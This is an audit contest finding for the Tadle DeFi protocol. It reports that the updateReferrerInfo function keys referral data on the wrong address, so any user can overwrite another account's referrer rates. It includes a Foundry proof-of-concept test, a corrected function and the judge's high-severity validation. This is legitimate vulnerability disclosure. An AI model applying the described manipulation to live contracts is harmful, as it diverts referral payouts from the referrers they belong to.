Tadle

Tadle
DeFiFoundry
27,750 USDC
View results
Submission Details
Severity: high
Valid

Unprivileged Erroneous Referrer Updates

Summary

The updateReferrerInfo function in the SystemConfig contract allows any user to update the referrer information for
any account except their own, potentially leading to incorrect referral bonus distributions and manipulation of referral rates.

Vulnerability Details

Overview

The updateReferrerInfo function in the SystemConfig contract has a flaw in its implementation:

  1. It allows any user to call the function and update referrer information for any account except their own.

  2. The referrer information is stored using the provided _referrer address as the key, instead of the msg.sender. This can be seen in the following code block.

The ReferralInfo struct is as follows:

struct ReferralInfo {
address referrer; // @audit - NOTE: this means that the key for the mapping referralInfoMap[_referrer] should not be the referrer, since that information is already contained in the referralInfo struct.
uint256 referrerRate;
uint256 authorityRate;
}

However, when users call systemConfig.updateReferrerInfo(), they can update the referrer info for any account except their own as the storage operation is conducted as follows;

ReferralInfo storage referralInfo = referralInfoMap[_referrer]; // @audit - Medium: Referrer info isn't accurately representing the msg.sender. The referrer is already stored in the referralInfo struct, we do not need a key for the referrer.
referralInfo.referrer = _referrer;
referralInfo.referrerRate = _referrerRate;
referralInfo.authorityRate = _authorityRate; // @audit - referrerRate can be switched by arbitrary users with the authorityRate 1:1 so long as totalRate aka baseReferralRate + referralExtraRate == referrerRate + authorityRate

This implementation allows malicious users to manipulate referral rates and potentially rug referrers of their agreed distributions.

Proof of Concept

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "../src/core/PreMarkets.sol";
import "../src/libraries/GenerateAddress.sol";
import "../src/libraries/Constants.sol";
import "../src/interfaces/ITokenManager.sol";
import "../src/interfaces/ISystemConfig.sol";
import {MockERC20Token} from "./mocks/MockERC20Token.sol";
import {SystemConfig} from "../src/core/SystemConfig.sol";
import {CapitalPool} from "../src/core/CapitalPool.sol";
import {TokenManager} from "../src/core/TokenManager.sol";
import {PreMarktes} from "../src/core/PreMarkets.sol";
import {DeliveryPlace} from "../src/core/DeliveryPlace.sol";
import {TadleFactory} from "../src/factory/TadleFactory.sol";
import {WETH9} from "./mocks/WETH9.sol";
contract IssueTestTemplate is Test {
SystemConfig systemConfig;
CapitalPool capitalPool;
TokenManager tokenManager;
PreMarktes preMarktes;
DeliveryPlace deliveryPlace;
address marketPlace;
string marketPlaceName = "Backpack";
WETH9 weth9;
MockERC20Token mockUSDCToken;
MockERC20Token mockPointToken;
address guardian;
address maker;
address taker1;
address taker2;
address taker3;
uint256 basePlatformFeeRate = 5_000;
uint256 baseReferralRate = 300_000;
bytes4 private constant INITIALIZE_OWNERSHIP_SELECTOR =
bytes4(keccak256(bytes("initializeOwnership(address)")));
function setUp() public {
// Set up accounts
guardian = makeAddr("guardian");
maker = makeAddr("maker");
taker1 = makeAddr("taker1");
taker2 = makeAddr("taker2");
taker3 = makeAddr("taker3");
vm.label(guardian, "guardian");
vm.label(maker, "maker");
vm.label(taker1, "taker1");
vm.label(taker2, "taker2");
vm.label(taker3, "taker3");
// deploy mocks
weth9 = new WETH9();
TadleFactory tadleFactory = new TadleFactory(guardian);
mockUSDCToken = new MockERC20Token();
mockPointToken = new MockERC20Token();
SystemConfig systemConfigLogic = new SystemConfig();
CapitalPool capitalPoolLogic = new CapitalPool();
TokenManager tokenManagerLogic = new TokenManager();
PreMarktes preMarktesLogic = new PreMarktes();
DeliveryPlace deliveryPlaceLogic = new DeliveryPlace();
bytes memory deploy_data = abi.encodeWithSelector(
INITIALIZE_OWNERSHIP_SELECTOR,
guardian
);
vm.startPrank(guardian);
address systemConfigProxy = tadleFactory.deployUpgradeableProxy(
1,
address(systemConfigLogic),
bytes(deploy_data)
);
address preMarktesProxy = tadleFactory.deployUpgradeableProxy(
2,
address(preMarktesLogic),
bytes(deploy_data)
);
address deliveryPlaceProxy = tadleFactory.deployUpgradeableProxy(
3,
address(deliveryPlaceLogic),
bytes(deploy_data)
);
address capitalPoolProxy = tadleFactory.deployUpgradeableProxy(
4,
address(capitalPoolLogic),
bytes(deploy_data)
);
address tokenManagerProxy = tadleFactory.deployUpgradeableProxy(
5,
address(tokenManagerLogic),
bytes(deploy_data)
);
vm.label(systemConfigProxy, "systemConfigProxy");
vm.label(preMarktesProxy, "preMarktesProxy");
vm.label(deliveryPlaceProxy, "deliveryPlaceProxy");
vm.label(capitalPoolProxy, "capitalPoolProxy");
vm.label(tokenManagerProxy, "tokenManagerProxy");
vm.stopPrank();
// attach logic
systemConfig = SystemConfig(systemConfigProxy);
capitalPool = CapitalPool(capitalPoolProxy);
tokenManager = TokenManager(tokenManagerProxy);
preMarktes = PreMarktes(preMarktesProxy);
deliveryPlace = DeliveryPlace(deliveryPlaceProxy);
vm.label(address(systemConfig), "systemConfig");
vm.label(address(tokenManager), "tokenManager");
vm.label(address(preMarktes), "preMarktes");
vm.label(address(deliveryPlace), "deliveryPlace");
vm.startPrank(guardian);
// initialize
systemConfig.initialize(basePlatformFeeRate, baseReferralRate);
tokenManager.initialize(address(weth9));
address[] memory tokenAddressList = new address[](2);
tokenAddressList[0] = address(mockUSDCToken);
tokenAddressList[1] = address(weth9);
tokenManager.updateTokenWhiteListed(tokenAddressList, true);
// create market place
systemConfig.createMarketPlace(marketPlaceName, false);
vm.stopPrank();
deal(address(mockUSDCToken), maker, 100000000 * 10 ** 18);
deal(address(mockPointToken), maker, 100000000 * 10 ** 18);
deal(maker, 100000000 * 10 ** 18);
deal(address(mockUSDCToken), taker1, 100000000 * 10 ** 18);
deal(address(mockUSDCToken), taker2, 100000000 * 10 ** 18);
deal(address(mockUSDCToken), taker3, 100000000 * 10 ** 18);
deal(address(mockPointToken), taker2, 100000000 * 10 ** 18);
marketPlace = GenerateAddress.generateMarketPlaceAddress("Backpack");
vm.warp(1719826275);
vm.prank(maker);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
vm.startPrank(taker2);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
mockPointToken.approve(address(tokenManager), type(uint256).max);
vm.stopPrank();
}
/* @audit - POC: [unprivileged-erroneous-referrer-updates.md]
The referralInfoMap is meant to represent the refer info for some specific account. Leading to
profits obtained for referrers. However, those profits will be entirely redirected to the taker
account that is suppose to be mapped to some specific referrer.
*/
function testReferralBalanceFailsUpdate() public {
address referrer = makeAddr("referrer");
vm.label(referrer, "referrer");
uint256 initialReferrerBalance = tokenManager.userTokenBalanceMap(
referrer,
address(mockUSDCToken),
TokenBalanceType.ReferralBonus
);
vm.startPrank(maker);
preMarktes.createOffer(
CreateOfferParams(
marketPlace,
address(mockUSDCToken),
1000,
1e18,
12000,
300,
OfferType.Ask,
OfferSettleType.Turbo
)
);
address offerAddr = GenerateAddress.generateOfferAddress(0);
vm.stopPrank();
vm.startPrank(guardian);
vm.expectRevert(abi.encodeWithSelector(ISystemConfig.InvalidTotalRate.selector, 10000000300000));
systemConfig.updateReferralExtraRateMap(referrer, 10000000000000);
uint256 maxReferrerRate = Constants.REFERRAL_RATE_DECIMAL_SCALER - systemConfig.getBaseReferralRate();
systemConfig.updateReferralExtraRateMap(referrer, maxReferrerRate);
vm.startPrank(taker1);
uint256 _baseReferralRate = systemConfig.getBaseReferralRate();
uint256 referrerRate = _baseReferralRate + maxReferrerRate;
uint256 authorityRate = 0;
systemConfig.updateReferrerInfo(referrer, referrerRate, authorityRate); // Switch for fixed method to pass test `updateReferrerInfoFixed`
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
preMarktes.createTaker(offerAddr, 500);
vm.stopPrank();
vm.prank(guardian);
systemConfig.updateMarket(
"Backpack",
address(mockPointToken),
0.01 * 1e18,
block.timestamp - 1,
3600
);
vm.startPrank(maker);
vm.expectRevert(Rescuable.TransferFailed.selector);
deliveryPlace.settleAskMaker(offerAddr, 500);
mockPointToken.approve(address(tokenManager), 10000 * 10 ** 18);
deliveryPlace.settleAskMaker(offerAddr, 500);
vm.stopPrank();
uint256 finalReferrerBalance = tokenManager.userTokenBalanceMap(
referrer,
address(mockUSDCToken),
TokenBalanceType.ReferralBonus
);
(uint256 expectedReferralIncome, uint256 expectedTakerIncome) = calculateExpectedReferralBonuses(offerAddr, 1000, 1e18, 500);
assertEq(
finalReferrerBalance - initialReferrerBalance,
expectedReferralIncome,
"Referral balance should increase by the expected amount"
);
assertGt(finalReferrerBalance - initialReferrerBalance,0, "Referral balance should increase"); // @audit - REVERT: This is reverting since taker referralInfo wasn't updated accurately.
}
// Helper functions
function createOffer(address offerer, address tokenAddress, uint256 totalPoints, uint256 tokenAmount, uint256 collateralRate, uint256 tradeTax, OfferType offerType, OfferSettleType settleType) internal returns (address offerAddr) {
vm.startPrank(offerer);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
preMarktes.createOffer(
CreateOfferParams(
marketPlace,
tokenAddress,
totalPoints,
tokenAmount,
collateralRate,
tradeTax,
offerType,
settleType
)
);
offerAddr = GenerateAddress.generateOfferAddress(0);
vm.stopPrank();
return offerAddr;
}
function createTakerAndGetInitialBalances(address referrer, address offerAddr, uint256 _purchasedPoints) internal returns (uint256 initialReferrerBalance, uint256 initialTakerBalance) {
initialReferrerBalance = tokenManager.userTokenBalanceMap(
referrer,
address(mockUSDCToken),
TokenBalanceType.ReferralBonus
);
initialTakerBalance = tokenManager.userTokenBalanceMap(
taker1,
address(mockUSDCToken),
TokenBalanceType.ReferralBonus
);
vm.startPrank(taker1);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
uint256 purchasedPoints = _purchasedPoints;
preMarktes.createTaker(offerAddr, purchasedPoints);
vm.stopPrank();
return (initialReferrerBalance, initialTakerBalance);
}
function closeOffer(address offerer, address offerAddr) internal {
vm.prank(offerer);
preMarktes.closeOffer(GenerateAddress.generateStockAddress(0), offerAddr);
}
function abortAskOffer(address offerer, address _stock, address _offer) internal {
vm.prank(offerer);
preMarktes.abortAskOffer(_stock, _offer);
}
function abortBidTaker(address offerer, address _stock, address _offer) internal {
vm.prank(offerer);
preMarktes.abortBidTaker(_stock, _offer);
}
function verifyAccountTypeBalance(address _token, address account, TokenBalanceType accountType, uint256 expectedBalance) internal returns(uint256 balance) {
balance = getAccountTypeBalance(_token, account, accountType);
console2.log("AccountType", uint256(accountType));
assertEq(
balance,
expectedBalance,
"Account should have the correct amount for account type"
);
return balance;
}
function getAccountTypeBalance(address _token, address account, TokenBalanceType accountType) public returns(uint256 balance) {
balance = tokenManager.userTokenBalanceMap(
account,
_token,
accountType
);
return balance;
}
function calculateExpectedReferralBonuses(address offerAddr, uint256 offerPoints, uint256 offerAmount, uint256 purchasedPoints) internal view returns (uint256 expectedReferrerBonus, uint256 expectedTakerBonus) {
OfferInfo memory offerInfo = preMarktes.getOfferInfo(offerAddr);
uint256 depositAmount = purchasedPoints * offerAmount / offerPoints;
uint256 platformFeeRate = systemConfig.getPlatformFeeRate(taker1);
uint256 platformFee = depositAmount * platformFeeRate / Constants.PLATFORM_FEE_DECIMAL_SCALER;
ReferralInfo memory referralInfo = systemConfig.getReferralInfo(taker1);
expectedReferrerBonus = (platformFee * referralInfo.referrerRate) / Constants.REFERRAL_RATE_DECIMAL_SCALER;
expectedTakerBonus = (platformFee * referralInfo.authorityRate) / Constants.REFERRAL_RATE_DECIMAL_SCALER;
return (expectedReferrerBonus, expectedTakerBonus);
}
function calculateExpectedSalesRevenue(address offerAddr, uint256 purchasedPoints) internal view returns (uint256 expectedSalesRevenue) {
OfferInfo memory offerInfo = preMarktes.getOfferInfo(offerAddr);
expectedSalesRevenue = purchasedPoints * offerInfo.amount / offerInfo.points;
return expectedSalesRevenue;
}
function calculateExpectedTaxIncome(address offerAddr, bool isMaker, address _maker, uint256 depositAmount) internal view returns (uint256 expectedTaxIncome) {
uint256 tradeTax = isMaker? preMarktes.getMakerInfo(_maker).eachTradeTax : preMarktes.getOfferInfo(offerAddr).tradeTax;
assertGt(tradeTax, 0, "Trade tax should be greater than 0");
expectedTaxIncome = (depositAmount * tradeTax) / Constants.EACH_TRADE_TAX_DECIMAL_SCALER;
return expectedTaxIncome;
}
}

Impact

Severity: Medium severity (High likelihood, Low impact)
High likelihood: The function can be easily called by any user, and there are no access controls preventing the exploitation.
Low impact: While this can lead to incorrect referral bonus distributions, it does not directly result in loss of funds for the taker. Instead funds are simply distributed incorrectly in full to the original taker account, as opposed to the referrer account. The referrer loses here.

Tools Used

Manual Review and Testing.

Recommendations

Implement the following fix:

function updateReferrerInfoFixed(
address _referrer,
uint256 _referrerRate,
uint256 _authorityRate
) external {
if (_msgSender() == _referrer) {
revert InvalidReferrer(_referrer);
}
if (_referrer == address(0x0)) {
revert Errors.ZeroAddress();
}
if (_referrerRate < baseReferralRate) {
revert InvalidReferrerRate(_referrerRate);
}
uint256 referralExtraRate = referralExtraRateMap[_referrer];
uint256 totalRate = baseReferralRate + referralExtraRate;
if (totalRate > Constants.REFERRAL_RATE_DECIMAL_SCALER) {
revert InvalidTotalRate(totalRate);
}
if (_referrerRate + _authorityRate != totalRate) {
revert InvalidRate(_referrerRate, _authorityRate, totalRate);
}
ReferralInfo storage referralInfo = referralInfoMap[msg.sender]; // @audit - FIX: This adds the referral information to the msg.sender's mapping key.
referralInfo.referrer = _referrer;
referralInfo.referrerRate = _referrerRate;
referralInfo.authorityRate = _authorityRate;
emit UpdateReferrerInfo(
msg.sender,
_referrer,
_referrerRate,
_authorityRate
);
}

NOTE: This fix can be used in the provided POC directly to confirm that expected referrals are tracked correctly.

Updates

Lead Judging Commences

0xnevi Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-SystemConfig-updateReferrerInfo-msgSender

Valid high severity. There are two impacts here due to the wrong setting of the `refferalInfoMap` mapping. 1. Wrong refferal info is always set, so the refferal will always be delegated to the refferer address instead of the caller 2. Anybody can arbitrarily change the referrer and referrer rate of any user, resulting in gaming of the refferal system I prefer #1500 description the most, be cause it seems to be the only issue although without a poc to fully describe all of the possible impacts

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.